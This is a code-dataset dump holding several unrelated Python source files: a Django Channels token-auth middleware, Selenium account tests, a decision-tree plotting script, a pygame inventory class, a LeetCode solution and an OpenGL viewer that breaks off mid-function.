"numpy.sum", "line_number": 145, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 151, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 154, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 156, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 162, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 179, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 205, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 218, "usage_type": "call"}, {"api_name": "pandas.Timedelta", "line_number": 218, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 229, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 255, "usage_type": "attribute"}, {"api_name": "numpy.timedelta64", "line_number": 264, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 283, "usage_type": "call"}, {"api_name": "pandas.Timedelta", "line_number": 283, "usage_type": "call"}, {"api_name": "pandas.Timedelta", "line_number": 284, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 297, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 297, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 306, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 310, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 316, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 317, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 323, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 324, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 325, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 326, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 329, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 329, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 330, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 331, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 331, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 332, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 332, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 333, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 333, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 334, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 334, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 335, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 335, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 336, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 336, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 340, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 340, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 341, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 341, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 342, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 342, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 343, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 343, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 344, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 344, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 345, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 345, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 346, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 346, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 347, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 347, "usage_type": "name"}, {"api_name": "numpy.corrcoef", "line_number": 354, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 355, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 360, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 364, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 364, "usage_type": "name"}, {"api_name": "seaborn.set_color_codes", "line_number": 365, "usage_type": "call"}, {"api_name": "seaborn.barplot", "line_number": 366, "usage_type": "call"}, {"api_name": "seaborn.set_color_codes", "line_number": 369, "usage_type": "call"}, {"api_name": "seaborn.barplot", "line_number": 370, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 376, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 380, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 384, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 385, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 386, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 387, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 390, "usage_type": "call"}, {"api_name": "scikitplot.metrics.plot_lift_curve", "line_number": 407, "usage_type": "call"}, {"api_name": "scikitplot.metrics", "line_number": 407, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 409, "usage_type": "call"}, {"api_name": "pandas.Timedelta", "line_number": 409, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 413, "usage_type": "attribute"}, {"api_name": "numpy.percentile", "line_number": 421, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 441, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 442, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 443, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 443, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 444, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 444, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 445, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 445, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 446, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 446, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 447, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 448, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 452, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 453, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 454, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 454, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 455, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 455, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 456, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 456, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 457, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 457, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 458, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 459, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 463, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 466, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 474, "usage_type": "call"}, {"api_name": "pandas.Timedelta", "line_number": 474, "usage_type": "call"}, {"api_name": "pandas.Timedelta", "line_number": 475, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 488, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 488, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 497, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 498, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 499, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 500, "usage_type": "call"}]} {"seq_id": "423794798", "text": "# myproject.myapi.utils.py\nfrom channels.auth import AuthMiddlewareStack\nfrom channels.db import database_sync_to_async\nfrom django.contrib.auth.models import AnonymousUser\n\nfrom rest_framework.authtoken.models import Token\nfrom django.db import close_old_connections\n\n\n@database_sync_to_async\ndef get_user(token_key):\n try:\n return Token.objects.get(key=token_key).user\n except Token.DoesNotExist:\n return AnonymousUser()\n\n\nclass TokenAuthMiddleware:\n \"\"\"\n Token authorization middleware for Django Channels 2\n see:\n https://channels.readthedocs.io/en/latest/topics/authentication.html#custom-authentication\n \"\"\"\n\n def __init__(self, inner):\n self.inner = inner\n\n def __call__(self, scope):\n return TokenAuthMiddlewareInstance(scope, self)\n\n\nclass TokenAuthMiddlewareInstance:\n def __init__(self, scope, middleware):\n self.middleware = middleware\n self.scope = dict(scope)\n self.inner = self.middleware.inner\n\n async def __call__(self, receive, send):\n close_old_connections()\n headers = dict(self.scope[\"headers\"])\n print(headers[b\"cookie\"])\n if b\"authorization\" in headers[b\"cookie\"]:\n print('still good here')\n cookies = headers[b\"cookie\"].decode()\n token_key = re.search(\"authorization=(.*)(; )?\", cookies).group(1)\n if token_key:\n self.scope[\"user\"] = await get_user(token_key)\n\n # inner = self.inner(self.scope)\n return await self.inner(self.scope,receive, send) \n\n\nTokenAuthMiddlewareStack = lambda inner: TokenAuthMiddleware(AuthMiddlewareStack(inner))\n", "sub_path": "main/backend/capstone_project/capstone_project/middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 1645, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rest_framework.authtoken.models.Token.objects.get", "line_number": 13, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.models.Token.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "rest_framework.authtoken.models.Token", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.authtoken.models.Token.DoesNotExist", "line_number": 14, "usage_type": "attribute"}, {"api_name": "rest_framework.authtoken.models.Token", "line_number": 14, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.AnonymousUser", "line_number": 15, "usage_type": "call"}, {"api_name": "channels.db.database_sync_to_async", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.close_old_connections", "line_number": 39, "usage_type": "call"}, {"api_name": "channels.auth.AuthMiddlewareStack", "line_number": 53, "usage_type": "call"}]} {"seq_id": "558071347", "text": "from flask import url_for\nimport pytest\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n\ndef test_profile_no_auth(selenium, base_url):\n selenium.get(\n base_url + url_for('account', id='6e2cd664f6309c64803d5f4fdb0c19d9')\n )\n\n assert 'Login' in selenium.title\n\ndef test_signup_no_auth(selenium, base_url):\n selenium.get(base_url + url_for('signup'))\n\n assert 'Login' in selenium.title\n\n\n@pytest.mark.parametrize('selenium', [['admin', 'admin']], indirect=True)\ndef test_profile(selenium, base_url):\n id = '6e2cd664f6309c64803d5f4fdb0c19d9'\n\n selenium.get(base_url + url_for('account', id=id))\n\n assert 'Marina Kuefer - Profil' in selenium.title\n\n delete = selenium.find_elements_by_css_selector('form[action=\"{}\"]'.format(\n url_for('delete_account', id=id)))\n assert not delete\n selenium.find_element_by_css_selector('a[href=\"{}\"]'.format(\n url_for('edit_account', id=id))).click()\n assert 'Benutzerkonto bearbeiten' in selenium.title\n\n@pytest.mark.parametrize('selenium', [['admin', 'admin']], indirect=True)\ndef test_signup_edit_delete(selenium, base_url):\n selenium.get(base_url + url_for('signup'))\n\n assert 'Benutzerkonto erstellen' in selenium.title\n submit = selenium.find_element_by_id('submit')\n submit.click()\n\n assert 'Benutzerkonto erstellen' in selenium.title\n inputs = selenium.find_elements_by_css_selector(\n 'input:required:not([type=\"email\"])')\n for input in inputs:\n input.send_keys('test')\n submit.click()\n\n assert 'Benutzerkonto erstellen' in selenium.title\n email = selenium.find_element_by_name('email')\n assert email in selenium.find_elements_by_css_selector('input:invalid')\n email.send_keys('test@test.test')\n submit.click()\n\n wait = WebDriverWait(selenium, 10)\n wait.until(expected_conditions.title_contains('test test - Profil'))\n id = selenium.current_url.split('/')[-1]\n\n selenium.find_element_by_css_selector('a[href=\"{}\"]'.format(\n url_for('edit_account', id=id))).click()\n\n for e in selenium.find_elements_by_css_selector(\n 'input[name]:not([type=\"email\"])'):\n assert e.get_attribute('value') == 'test'\n email = selenium.find_element_by_css_selector(\n 'input[name][type=\"email\"]')\n assert email.get_attribute('value') == 'test@test.test'\n\n selenium.get(base_url + url_for('account', id=id))\n selenium.find_element_by_css_selector('form[action=\"{}\"] button'.format(\n url_for('delete_account', id=id))).click()\n selenium.get(base_url + url_for('account', id=id))\n\n assert '410 Gone' in selenium.title\n", "sub_path": "app/tests/test_account.py", "file_name": "test_account.py", "file_ext": "py", "file_size_in_byte": 2675, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "selenium.webdriver.support.get", "line_number": 8, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 8, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.title", "line_number": 12, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 12, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.get", "line_number": 15, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 15, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.title", "line_number": 17, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 17, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.get", "line_number": 24, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 24, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.title", "line_number": 26, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 26, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.find_elements_by_css_selector", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 29, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.find_element_by_css_selector", "line_number": 31, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 32, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.title", "line_number": 33, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 33, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 20, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 20, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support.get", "line_number": 37, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 37, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.title", "line_number": 39, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 39, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.find_element_by_id", "line_number": 40, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 40, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.title", "line_number": 43, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 43, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.find_elements_by_css_selector", "line_number": 44, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 44, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.title", "line_number": 50, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 50, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.find_element_by_name", "line_number": 51, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 51, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.find_elements_by_css_selector", "line_number": 52, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 52, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 56, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 56, "usage_type": "argument"}, {"api_name": "selenium.webdriver.support.expected_conditions.title_contains", "line_number": 57, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 57, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.current_url.split", "line_number": 58, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.current_url", "line_number": 58, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 58, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.find_element_by_css_selector", "line_number": 60, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 61, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.find_elements_by_css_selector", "line_number": 63, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 63, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.find_element_by_css_selector", "line_number": 66, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 66, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.get", "line_number": 70, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 70, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 70, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.find_element_by_css_selector", "line_number": 71, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 72, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.get", "line_number": 73, "usage_type": "call"}, {"api_name": "selenium.webdriver.support", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 73, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.title", "line_number": 75, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.support", "line_number": 75, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 35, "usage_type": "attribute"}]} {"seq_id": "150592434", "text": "# default imports\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\ndata = pd.read_csv(\"./data/house_pricing.csv\")\r\nX = data.iloc[:, :-1]\r\ny = data.iloc[:, -1]\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=9)\r\n\r\ndepth_list = [8, 10, 15, 20, 50, 100, 120, 150, 175, 200]\r\ndef decision_classifier_plot(X_train, X_test, y_train, y_test,depth_list):\r\n test_score=[]\r\n train_score=[]\r\n# Write your solution here :\r\n for i in range(len(depth_list)):\r\n model =DecisionTreeClassifier(max_depth=depth_list[i])\r\n model.fit(X_train,y_train)\r\n y_pred=model.predict(X_train)\r\n y_pred_test=model.predict(X_test)\r\n train_score.insert(i,accuracy_score(y_train,y_pred))\r\n test_score.insert(i,accuracy_score(y_test,y_pred_test))\r\n plt.plot(depth_list, train_score, 'b', label='train set')\r\n plt.plot(depth_list, test_score, 'g', label='test set')\r\n plt.legend(loc='best')\r\n plt.xlabel('depth')\r\n plt.ylabel('accuracy_score')\r\n plt.show()\r\n", "sub_path": "q04_decision_classifier_plot/build.py", "file_name": "build.py", "file_ext": "py", "file_size_in_byte": 1206, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}]} {"seq_id": "484794422", "text": "from pygame \\\n import sprite, image, transform\n\nfrom core.text \\\n import Text\n\n\nclass Inventory(sprite.Sprite):\n\n def __init__(self):\n super(Inventory, self).__init__()\n self.empty_path = 'sprites/ui/inventory/empty.png'\n self.full_path = 'sprites/ui/inventory/full.png'\n\n self.image = image.load(self.empty_path)\n self.rect = self.image.get_rect()\n self.rect.x = 10\n self.rect.y = 490\n self.item = None\n self.empty = True\n\n def clear(self):\n self.empty = True\n self.image.fill((255, 255, 255))\n self.image = image.load(self.empty_path)\n return self.item\n\n def add(self, item):\n self.empty = False\n self.item = item\n\n if item.name == \"item\":\n name = \"Box\"\n else:\n name = item.name\n\n text = Text(20, name)\n self.image = image.load(self.full_path)\n\n inv_w, inv_h = self.rect.size\n text_w, text_h = text.size\n\n img_xpos = inv_w/2 - 35/2\n img_ypos = inv_h/2 - 35/2 + 10\n\n text_xpos = inv_w/2 - text_w/2\n text_ypos = 2\n\n self.image.blit(transform.scale(item.image, (35, 35)), (img_xpos, img_ypos))\n self.image.blit(text.surface, (text_xpos, text_ypos))\n", "sub_path": "components/ui/inventory.py", "file_name": "inventory.py", "file_ext": "py", "file_size_in_byte": 1274, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.sprite.Sprite", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 8, "usage_type": "name"}, {"api_name": "pygame.image.load", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 15, "usage_type": "name"}, {"api_name": "pygame.image.load", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 25, "usage_type": "name"}, {"api_name": "core.text.Text", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 38, "usage_type": "name"}, {"api_name": "pygame.transform.scale", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 49, "usage_type": "name"}]} {"seq_id": "18325916", "text": "from itertools import groupby\nfrom collections import defaultdict\n\n\nclass Solution:\n def longestLine(self, M):\n \"\"\"\n :type M: List[List[int]]\n :rtype: int\n \"\"\"\n if not M or len(M[0]) == 0:\n return 0\n \n groups = defaultdict(list)\n for r, row in enumerate(M):\n for c, val in enumerate(row):\n groups[0, r] += [val] # rows\n groups[1, c] += [val] # cols\n groups[2, r + c] += [val] # diagonal\n groups[3, r - c] += [val] # anti-diagonal\n\n return max(list(map(self.ones, groups.values())))\n\n\n def ones(self, line: [int]) -> int:\n lens = [len(list(v)) if k == 1 else 0 for k, v in groupby(line)]\n return max(lens)", "sub_path": "Solutions/562LongestLineOfConsecutiveOneInMatrix.py", "file_name": "562LongestLineOfConsecutiveOneInMatrix.py", "file_ext": "py", "file_size_in_byte": 769, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 14, "usage_type": "call"}, {"api_name": "itertools.groupby", "line_number": 26, "usage_type": "call"}]} {"seq_id": "345325654", "text": "import OpenGL.GL as gl\nimport OpenGL.GLUT as glut\nimport sys\nfrom utility.os_interface import read_file_data\nimport numpy\nfrom numpy.lib.arraypad import np\nimport ctypes\nimport log\n\n\nclass Viewer:\n point_count = 0\n\n def __init__(self, points, colors, file_iso_function, scale, delta, target_value, vertex_file, time):\n self.point_count = len(points)\n\n self._init_glut(time)\n\n # read data\n data = numpy.zeros(self.point_count, dtype=[(\"position\", np.float32, 2),\n (\"color\", np.float32, 4)])\n data['color'] = colors\n data['position'] = points\n\n # read shaders\n path = \"./shader\"\n vertex_code = read_file_data(path, vertex_file)\n fragment_code = read_file_data(path, \"fragment1.glsl\")\n\n buffer = self._build_buffer(data) # TODO ?\n program = self._init_program(vertex_code, fragment_code)\n self._bind_buffers(program, data, buffer)\n\n # bind uniforms\n self._bind_scale(program, scale)\n self._bind_delta(program, delta)\n self._bind_projection(program)\n self._bind_modelview(program)\n self._bind_target_value(program, target_value)\n\n glut.glutMainLoop()\n\n def _display(self):\n gl.glClear(gl.GL_COLOR_BUFFER_BIT)\n # gl.glDrawArrays(gl.GL_TRIANGLE_STRIP, 0, 4)\n\n gl.glEnable(gl.GL_PROGRAM_POINT_SIZE)\n gl.glClearColor(1.0, 1.0, 1.0, 1.0)\n\n # for x in range(0, self.point_count/2, 2):\n # gl.glDrawArrays(gl.GL_LINES, x, x+1)\n\n gl.glDrawArrays(gl.GL_POINTS, 0, self.point_count)\n glut.glutSwapBuffers()\n\n def _set_window_size(self, width, height):\n gl.glViewport(0, 0, width, height)\n\n def _keyboard(self, key, x, y):\n if key == '\\033':\n sys.exit()\n\n def _init_glut(self, time):\n\n if type(time) != bytes:\n raise TypeError\n\n glut.glutInit()\n glut.glutInitDisplayMode(glut.GLUT_DOUBLE | glut.GLUT_RGBA)\n glut.glutCreateWindow(time)\n glut.glutReshapeWindow(700, 700)\n glut.glutReshapeFunc(self._set_window_size)\n glut.glutDisplayFunc(self._display)\n glut.glutKeyboardFunc(self._keyboard)\n\n def _init_program(self, vertex_code, fragment_code):\n program = gl.glCreateProgram()\n print(gl.glGetError())\n vertex = gl.glCreateShader(gl.GL_VERTEX_SHADER)\n print(gl.glGetError())\n fragment = gl.glCreateShader(gl.GL_FRAGMENT_SHADER)\n print(gl.glGetError())\n # Set shaders source\n gl.glShaderSource(vertex, vertex_code)\n print(gl.glGetError())\n gl.glShaderSource(fragment, fragment_code)\n print(gl.glGetError())\n # Compile shaders\n gl.glCompileShader(vertex)\n print(gl.glGetError())\n gl.glCompileShader(fragment)\n print(gl.glGetError())\n\n # We can now build and link the program\n\n gl.glAttachShader(program, vertex)\n print(gl.glGetError())\n gl.glAttachShader(program, fragment)\n print(gl.glGetError())\n gl.glLinkProgram(program)\n print(gl.glGetError())\n\n # We can not get rid of shaders, they won't be used again:\n\n gl.glDetachShader(program, vertex)\n print(gl.glGetError())\n gl.glDetachShader(program, fragment)\n print(gl.glGetError())\n\n # Finally, we make program the default program to be ran. We can do it now because we'll use a single in this example:\n print(glut.glutReportErrors())\n if gl.glGetShaderiv(vertex, gl.GL_COMPILE_STATUS) == 0:\n print(gl.glGetShaderInfoLog(vertex))\n\n if gl.glGetShaderiv(fragment, gl.GL_COMPILE_STATUS) == 0:\n print(gl.glGetShaderInfoLog(fragment))\n\n if gl.glGetProgramiv(program, gl.GL_LINK_STATUS) == 0:\n 